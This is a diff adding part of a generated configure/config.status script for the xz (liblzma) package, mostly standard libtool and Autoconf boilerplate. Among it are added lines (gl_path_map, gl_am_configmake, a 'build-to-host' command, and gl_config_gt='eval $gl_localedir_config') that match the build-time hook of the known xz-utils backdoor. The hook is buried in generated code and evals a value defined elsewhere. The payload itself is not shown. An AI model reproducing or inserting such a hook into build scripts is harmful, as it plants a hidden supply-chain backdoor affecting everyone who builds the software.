"$delay_single_quote_subst"`' +lt_prog_compiler_no_builtin_flag_RC='`$ECHO "$lt_prog_compiler_no_builtin_flag_RC" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_pic_RC='`$ECHO "$lt_prog_compiler_pic_RC" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_wl_RC='`$ECHO "$lt_prog_compiler_wl_RC" | $SED "$delay_single_quote_subst"`' +lt_prog_compiler_static_RC='`$ECHO "$lt_prog_compiler_static_RC" | $SED "$delay_single_quote_subst"`' +lt_cv_prog_compiler_c_o_RC='`$ECHO "$lt_cv_prog_compiler_c_o_RC" | $SED "$delay_single_quote_subst"`' +archive_cmds_need_lc_RC='`$ECHO "$archive_cmds_need_lc_RC" | $SED "$delay_single_quote_subst"`' +enable_shared_with_static_runtimes_RC='`$ECHO "$enable_shared_with_static_runtimes_RC" | $SED "$delay_single_quote_subst"`' +export_dynamic_flag_spec_RC='`$ECHO "$export_dynamic_flag_spec_RC" | $SED "$delay_single_quote_subst"`' +whole_archive_flag_spec_RC='`$ECHO "$whole_archive_flag_spec_RC" | $SED "$delay_single_quote_subst"`' +compiler_needs_object_RC='`$ECHO "$compiler_needs_object_RC" | $SED "$delay_single_quote_subst"`' +old_archive_from_new_cmds_RC='`$ECHO "$old_archive_from_new_cmds_RC" | $SED "$delay_single_quote_subst"`' +old_archive_from_expsyms_cmds_RC='`$ECHO "$old_archive_from_expsyms_cmds_RC" | $SED "$delay_single_quote_subst"`' +archive_cmds_RC='`$ECHO "$archive_cmds_RC" | $SED "$delay_single_quote_subst"`' +archive_expsym_cmds_RC='`$ECHO "$archive_expsym_cmds_RC" | $SED "$delay_single_quote_subst"`' +module_cmds_RC='`$ECHO "$module_cmds_RC" | $SED "$delay_single_quote_subst"`' +module_expsym_cmds_RC='`$ECHO "$module_expsym_cmds_RC" | $SED "$delay_single_quote_subst"`' +with_gnu_ld_RC='`$ECHO "$with_gnu_ld_RC" | $SED "$delay_single_quote_subst"`' +allow_undefined_flag_RC='`$ECHO "$allow_undefined_flag_RC" | $SED "$delay_single_quote_subst"`' +no_undefined_flag_RC='`$ECHO "$no_undefined_flag_RC" | $SED "$delay_single_quote_subst"`' +hardcode_libdir_flag_spec_RC='`$ECHO "$hardcode_libdir_flag_spec_RC" | $SED "$delay_single_quote_subst"`' +hardcode_libdir_separator_RC='`$ECHO "$hardcode_libdir_separator_RC" | $SED "$delay_single_quote_subst"`' +hardcode_direct_RC='`$ECHO "$hardcode_direct_RC" | $SED "$delay_single_quote_subst"`' +hardcode_direct_absolute_RC='`$ECHO "$hardcode_direct_absolute_RC" | $SED "$delay_single_quote_subst"`' +hardcode_minus_L_RC='`$ECHO "$hardcode_minus_L_RC" | $SED "$delay_single_quote_subst"`' +hardcode_shlibpath_var_RC='`$ECHO "$hardcode_shlibpath_var_RC" | $SED "$delay_single_quote_subst"`' +hardcode_automatic_RC='`$ECHO "$hardcode_automatic_RC" | $SED "$delay_single_quote_subst"`' +inherit_rpath_RC='`$ECHO "$inherit_rpath_RC" | $SED "$delay_single_quote_subst"`' +link_all_deplibs_RC='`$ECHO "$link_all_deplibs_RC" | $SED "$delay_single_quote_subst"`' +always_export_symbols_RC='`$ECHO "$always_export_symbols_RC" | $SED "$delay_single_quote_subst"`' +export_symbols_cmds_RC='`$ECHO "$export_symbols_cmds_RC" | $SED "$delay_single_quote_subst"`' +exclude_expsyms_RC='`$ECHO "$exclude_expsyms_RC" | $SED "$delay_single_quote_subst"`' +include_expsyms_RC='`$ECHO "$include_expsyms_RC" | $SED "$delay_single_quote_subst"`' +prelink_cmds_RC='`$ECHO "$prelink_cmds_RC" | $SED "$delay_single_quote_subst"`' +postlink_cmds_RC='`$ECHO "$postlink_cmds_RC" | $SED "$delay_single_quote_subst"`' +file_list_spec_RC='`$ECHO "$file_list_spec_RC" | $SED "$delay_single_quote_subst"`' +hardcode_action_RC='`$ECHO "$hardcode_action_RC" | $SED "$delay_single_quote_subst"`' +gl_path_map_RC='`$ECHO "$gl_path_map_RC" | $SED "$delay_single_quote_subst"`' +gl_am_configmake_RC='`$ECHO "$gl_am_configmake_RC" | $SED "$delay_single_quote_subst"`' + +LTCC='$LTCC' +LTCFLAGS='$LTCFLAGS' +compiler='$compiler_DEFAULT' + +# A function that is used when there is no print builtin or printf. +func_fallback_echo () +{ + eval 'cat <<_LTECHO_EOF +\$1 +_LTECHO_EOF' +} + +# Quote evaled strings. +for var in AS \ +DLLTOOL \ +OBJDUMP \ +SHELL \ +ECHO \ +PATH_SEPARATOR \ +SED \ +GREP \ +EGREP \ +FGREP \ +LD \ +NM \ +LN_S \ +lt_SP2NL \ +lt_NL2SP \ +reload_flag \ +FILECMD \ +deplibs_check_method \ +file_magic_cmd \ +file_magic_glob \ +want_nocaseglob \ +sharedlib_from_linklib_cmd \ +AR \ +archiver_list_spec \ +STRIP \ +RANLIB \ +CC \ +CFLAGS \ +compiler \ +lt_cv_sys_global_symbol_pipe \ +lt_cv_sys_global_symbol_to_cdecl \ +lt_cv_sys_global_symbol_to_import \ +lt_cv_sys_global_symbol_to_c_name_address \ +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \ +lt_cv_nm_interface \ +nm_file_list_spec \ +lt_cv_truncate_bin \ +lt_prog_compiler_no_builtin_flag \ +lt_prog_compiler_pic \ +lt_prog_compiler_wl \ +lt_prog_compiler_static \ +lt_cv_prog_compiler_c_o \ +need_locks \ +MANIFEST_TOOL \ +DSYMUTIL \ +NMEDIT \ +LIPO \ +OTOOL \ +OTOOL64 \ +shrext_cmds \ +export_dynamic_flag_spec \ +whole_archive_flag_spec \ +compiler_needs_object \ +with_gnu_ld \ +allow_undefined_flag \ +no_undefined_flag \ +hardcode_libdir_flag_spec \ +hardcode_libdir_separator \ +exclude_expsyms \ +include_expsyms \ +file_list_spec \ +variables_saved_for_relink \ +libname_spec \ +library_names_spec \ +soname_spec \ +install_override_mode \ +finish_eval \ +old_striplib \ +striplib \ +LD_RC \ +reload_flag_RC \ +compiler_RC \ +lt_prog_compiler_no_builtin_flag_RC \ +lt_prog_compiler_pic_RC \ +lt_prog_compiler_wl_RC \ +lt_prog_compiler_static_RC \ +lt_cv_prog_compiler_c_o_RC \ +export_dynamic_flag_spec_RC \ +whole_archive_flag_spec_RC \ +compiler_needs_object_RC \ +with_gnu_ld_RC \ +allow_undefined_flag_RC \ +no_undefined_flag_RC \ +hardcode_libdir_flag_spec_RC \ +hardcode_libdir_separator_RC \ +exclude_expsyms_RC \ +include_expsyms_RC \ +file_list_spec_RC; do + case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in + *[\\\\\\\`\\"\\\$]*) + eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED \\"\\\$sed_quote_subst\\"\\\`\\\\\\"" ## exclude from sc_prohibit_nested_quotes + ;; + *) + eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" + ;; + esac +done + +# Double-quote double-evaled strings. +for var in reload_cmds \ +old_postinstall_cmds \ +old_postuninstall_cmds \ +old_archive_cmds \ +extract_expsyms_cmds \ +old_archive_from_new_cmds \ +old_archive_from_expsyms_cmds \ +archive_cmds \ +archive_expsym_cmds \ +module_cmds \ +module_expsym_cmds \ +export_symbols_cmds \ +prelink_cmds \ +postlink_cmds \ +postinstall_cmds \ +postuninstall_cmds \ +finish_cmds \ +sys_lib_search_path_spec \ +configure_time_dlsearch_path \ +configure_time_lt_sys_library_path \ +gl_path_map \ +gl_am_configmake \ +reload_cmds_RC \ +old_archive_cmds_RC \ +old_archive_from_new_cmds_RC \ +old_archive_from_expsyms_cmds_RC \ +archive_cmds_RC \ +archive_expsym_cmds_RC \ +module_cmds_RC \ +module_expsym_cmds_RC \ +export_symbols_cmds_RC \ +prelink_cmds_RC \ +postlink_cmds_RC \ +gl_path_map_RC \ +gl_am_configmake_RC; do + case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in + *[\\\\\\\`\\"\\\$]*) + eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" ## exclude from sc_prohibit_nested_quotes + ;; + *) + eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" + ;; + esac +done + +ac_aux_dir='$ac_aux_dir' + +# See if we are running on zsh, and set the options that allow our +# commands through without removal of \ escapes INIT. +if test -n "\${ZSH_VERSION+set}"; then + setopt NO_GLOB_SUBST +fi + + + PACKAGE='$PACKAGE' + VERSION='$VERSION' + RM='$RM' + ofile='$ofile' + + + + + +# Capture the value of obsolete ALL_LINGUAS because we need it to compute + # POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES, CATALOGS. + OBSOLETE_ALL_LINGUAS="$ALL_LINGUAS" + # Capture the value of LINGUAS because we need it to compute CATALOGS. + LINGUAS="${LINGUAS-%UNSET%}" + +gl_config_gt="eval \$gl_localedir_config" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "config.h") CONFIG_HEADERS="$CONFIG_HEADERS config.h" ;; + "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;; + "libtool") CONFIG_COMMANDS="$CONFIG_COMMANDS libtool" ;; + "po-directories") CONFIG_COMMANDS="$CONFIG_COMMANDS po-directories" ;; + "build-to-host") CONFIG_COMMANDS="$CONFIG_COMMANDS build-to-host" ;; + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + "po/Makefile.in") CONFIG_FILES="$CONFIG_FILES po/Makefile.in" ;; + "lib/Makefile") CONFIG_FILES="$CONFIG_FILES lib/Makefile" ;; + "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;; + "src/liblzma/Makefile") CONFIG_FILES="$CONFIG_FILES src/liblzma/Makefile" ;; + "src/liblzma/api/Makefile") CONFIG_FILES="$CONFIG_FILES src/liblzma/api/Makefile" ;; + "src/xz/Makefile") CONFIG_FILES="$CONFIG_FILES src/xz/Makefile" ;; + "src/xzdec/Makefile") CONFIG_FILES="$CONFIG_FILES src/xzdec/Makefile" ;; + "src/lzmainfo/Makefile") CONFIG_FILES="$CONFIG_FILES src/lzmainfo/Makefile" ;; + "src/scripts/Makefile") CONFIG_FILES="$CONFIG_FILES src/scripts/Makefile" ;; + "tests/Makefile") CONFIG_FILES="$CONFIG_FILES tests/Makefile" ;; + "debug/Makefile") CONFIG_FILES="$CONFIG_FILES debug/Makefile" ;; + "src/scripts/xzdiff") CONFIG_FILES="$CONFIG_FILES src/scripts/xzdiff" ;; + "src/scripts/xzgrep") CONFIG_FILES="$CONFIG_FILES src/scripts/xzgrep" ;; + "src/scripts/xzmore") CONFIG_FILES="$CONFIG_FILES src/scripts/xzmore" ;; + "src/scripts/xzless") CONFIG_FILES="$CONFIG_FILES src/scripts/xzless" ;; + + *) as_fn_error $? "invalid argument: '$ac_config_target'" "$LINENO" 5;; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test ${CONFIG_FILES+y} || CONFIG_FILES=$config_files + test ${CONFIG_HEADERS+y} || CONFIG_HEADERS=$config_headers + test ${CONFIG_COMMANDS+y} || CONFIG_COMMANDS=$config_commands +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to '$tmp'. +$debug || +{ + tmp= ac_tmp= + trap 'exit_status=$? + : "${ac_tmp:=$tmp}" + { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status +' 0 + trap 'as_fn_exit 1' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 +ac_tmp=$tmp + +# Set up the scripts for CONFIG_FILES section. +# No need to generate them if there are no CONFIG_FILES. +# This happens for instance with './config.status config.h'. +if test -n "$CONFIG_FILES"; then + + +ac_cr=`echo X | tr X '\015'` +# On cygwin, bash can eat \r inside `` if the user requested igncr. +# But we know of no other shell where ac_cr would be empty at this +# point, so we can use a bashism as a fallback. +if test "x$ac_cr" = x; then + eval ac_cr=\$\'\\r\' +fi +ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` +if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then + ac_cs_awk_cr='\\r' +else + ac_cs_awk_cr=$ac_cr +fi + +echo 'BEGIN {' >"$ac_tmp/subs1.awk" && +_ACEOF + + +{ + echo "cat >conf$$subs.awk <<_ACEOF" && + echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && + echo "_ACEOF" +} >conf$$subs.sh || + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 +ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + . ./conf$$subs.sh || + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 + + ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` + if test $ac_delim_n = $ac_delim_num; then + break + elif $ac_last_try; then + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done +rm -f conf$$subs.sh + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && +_ACEOF +sed -n ' +h +s/^/S["/; s/!.*/"]=/ +p +g +s/^[^!]*!// +:repl +t repl +s/'"$ac_delim"'$// +t delim +:nl +h +s/\(.\{148\}\)..*/\1/ +t more1 +s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ +p +n +b repl +:more1 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t nl +:delim +h +s/\(.\{148\}\)..*/\1/ +t more2 +s/["\\]/\\&/g; s/^/"/; s/$/"/ +p +b +:more2 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t delim +' >$CONFIG_STATUS || ac_write_fail=1 +rm -f conf$$subs.awk +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +_ACAWK +cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && + for (key in S) S_is_set[key] = 1 + FS = "" + +} +{ + line = $ 0 + nfields = split(line, field, "@") + substed = 0 + len = length(field[1]) + for (i = 2; i < nfields; i++) { + key = field[i] + keylen = length(key) + if (S_is_set[key]) { + value = S[key] + line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) + len += length(value) + length(field[++i]) + substed = 1 + } else + len += 1 + keylen + } + + print line +} + +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then + sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" +else + cat +fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ + || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 +_ACEOF + +# VPATH may cause trouble with some makes, so we remove sole $(srcdir), +# ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ +h +s/// +s/^/:/ +s/[ ]*$/:/ +s/:\$(srcdir):/:/g +s/:\${srcdir}:/:/g +s/:@srcdir@:/:/g +s/^:*// +s/:*$// +x +s/\(=[ ]*\).*/\1/ +G +s/\n// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +fi # test -n "$CONFIG_FILES" + +# Set up the scripts for CONFIG_HEADERS section. +# No need to generate them if there are no CONFIG_HEADERS. +# This happens for instance with './config.status Makefile'. +if test -n "$CONFIG_HEADERS"; then +cat >"$ac_tmp/defines.awk" <<\_ACAWK || +BEGIN { +_ACEOF + +# Transform confdefs.h into an awk script 'defines.awk', embedded as +# here-document in config.status, that substitutes the proper values into +# config.h.in to produce config.h. + +# Create a delimiter string that does not exist in confdefs.h, to ease +# handling of long lines. +ac_delim='%!_!# ' +for ac_last_try in false false :; do + ac_tt=`sed -n "/$ac_delim/p" confdefs.h` + if test -z "$ac_tt"; then + break + elif $ac_last_try; then + as_fn_error $? "could not make $CONFIG_HEADERS" "$LINENO" 5 + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +# For the awk script, D is an array of macro values keyed by name, +# likewise P contains macro parameters if any. Preserve backslash +# newline sequences. + +ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* +sed -n ' +s/.\{148\}/&'"$ac_delim"'/g +t rset +:rset +s/^[ ]*#[ ]*define[ ][ ]*/ / +t def +d +:def +s/\\$// +t bsnl +s/["\\]/\\&/g +s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ +D["\1"]=" \3"/p +s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2"/p +d +:bsnl +s/["\\]/\\&/g +s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ +D["\1"]=" \3\\\\\\n"\\/p +t cont +s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2\\\\\\n"\\/p +t cont +d +:cont +n +s/.\{148\}/&'"$ac_delim"'/g +t clear +:clear +s/\\$// +t bsnlc +s/["\\]/\\&/g; s/^/"/; s/$/"/p +d +:bsnlc +s/["\\]/\\&/g; s/^/"/; s/$/\\\\\\n"\\/p +b cont +' >$CONFIG_STATUS || ac_write_fail=1 + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + for (key in D) D_is_set[key] = 1 + FS = "" +} +/^[\t ]*#[\t ]*(define|undef)[\t ]+$ac_word_re([\t (]|\$)/ { + line = \$ 0 + split(line, arg, " ") + if (arg[1] == "#") { + defundef = arg[2] + mac1 = arg[3] + } else { + defundef = substr(arg[1], 2) + mac1 = arg[2] + } + split(mac1, mac2, "(") #) + macro = mac2[1] + prefix = substr(line, 1, index(line, defundef) - 1) + if (D_is_set[macro]) { + # Preserve the white space surrounding the "#". + print prefix "define", macro P[macro] D[macro] + next + } else { + # Replace #undef with comments. This is necessary, for example, + # in the case of _POSIX_SOURCE, which is predefined and required + # on some systems where configure will not decide to define it. + if (defundef == "undef") { + print "/*", prefix defundef, macro, "*/" + next + } + } +} +{ print } +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + as_fn_error $? "could not setup config headers machinery" "$LINENO" 5 +fi # test -n "$CONFIG_HEADERS" + + +eval set X " :F $CONFIG_FILES :H $CONFIG_HEADERS :C $CONFIG_COMMANDS" +shift +for ac_tag +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) as_fn_error $? "invalid tag '$ac_tag'" "$LINENO" 5;; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$ac_tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain ':'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + as_fn_error 1 "cannot find input file: '$ac_f'" "$LINENO" 5;; + esac + case $ac_f in *\'*) ac_f=`printf "%s\n" "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac + as_fn_append ac_file_inputs " '$ac_f'" + done + + # Let's still pretend it is 'configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input='Generated from '` + printf "%s\n" "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' + `' by configure.' + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 +printf "%s\n" "$as_me: creating $ac_file" >&6;} + fi + # Neutralize special characters interpreted by sed in replacement strings. + case $configure_input in #( + *\&* | *\|* | *\\* ) + ac_sed_conf_input=`printf "%s\n" "$configure_input" | + sed 's/[\\\\&|]/\\\\&/g'`;; #( + *) ac_sed_conf_input=$configure_input;; + esac + + case $ac_tag in + *:-:* | *:-) cat >"$ac_tmp/stdin" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + as_dir="$ac_dir"; as_fn_mkdir_p + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`printf "%s\n" "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`printf "%s\n" "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac + ac_MKDIR_P=$MKDIR_P + case $MKDIR_P in + [\\/$]* | ?:[\\/]* ) ;; + */*) ac_MKDIR_P=$ac_top_build_prefix$MKDIR_P ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= +ac_sed_dataroot=' +/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p' +case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +printf "%s\n" "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when '$srcdir' = '.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_sed_extra="$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s|@configure_input@|$ac_sed_conf_input|;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@top_build_prefix@&$ac_top_build_prefix&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +s&@MKDIR_P@&$ac_MKDIR_P&;t t +$ac_datarootdir_hack +" +eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" \ + >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ + "$ac_tmp/out"`; test -z "$ac_out"; } && + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable 'datarootdir' +which seems to be undefined. Please make sure it is defined" >&5 +printf "%s\n" "$as_me: WARNING: $ac_file contains a reference to the variable 'datarootdir' +which seems to be undefined. Please make sure it is defined" >&2;} + + rm -f "$ac_tmp/stdin" + case $ac_file in + -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; + *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; + esac \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + ;; + :H) + # + # CONFIG_HEADER + # + if test x"$ac_file" != x-; then + { + printf "%s\n" "/* $configure_input */" >&1 \ + && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" + } >"$ac_tmp/config.h" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + if diff "$ac_file" "$ac_tmp/config.h" >/dev/null 2>&1; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: $ac_file is unchanged" >&5 +printf "%s\n" "$as_me: $ac_file is unchanged" >&6;} + else + rm -f "$ac_file" + mv "$ac_tmp/config.h" "$ac_file" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + fi + else + printf "%s\n" "/* $configure_input */" >&1 \ + && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" \ + || as_fn_error $? "could not create -" "$LINENO" 5 + fi +# Compute "$ac_file"'s index in $config_headers. +_am_arg="$ac_file" +_am_stamp_count=1 +for _am_header in $config_headers :; do + case $_am_header in + $_am_arg | $_am_arg:* ) + break ;; + * ) + _am_stamp_count=`expr $_am_stamp_count + 1` ;; + esac +done +echo "timestamp for $_am_arg" >`$as_dirname -- "$_am_arg" || +$as_expr X"$_am_arg" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$_am_arg" : 'X\(//\)[^/]' \| \ + X"$_am_arg" : 'X\(//\)$' \| \ + X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$_am_arg" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'`/stamp-h$_am_stamp_count + ;; + + :C) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5 +printf "%s\n" "$as_me: executing $ac_file commands" >&6;} + ;; + esac + + + case $ac_file$ac_mode in + "depfiles":C) test x"$AMDEP_TRUE" != x"" || { + # Older Autoconf quotes --file arguments for eval, but not when files + # are listed without --file. Let's play safe and only enable the eval + # if we detect the quoting. + # TODO: see whether this extra hack can be removed once we start + # requiring Autoconf 2.70 or later. + case $CONFIG_FILES in #( + *\'*) : + eval set x "$CONFIG_FILES" ;; #( + *) : + set x $CONFIG_FILES ;; #( + *) : + ;; +esac + shift + # Used to flag and report bootstrapping failures. + am_rc=0 + for am_mf + do + # Strip MF so we end up with the name of the file. + am_mf=`printf "%s\n" "$am_mf" | sed 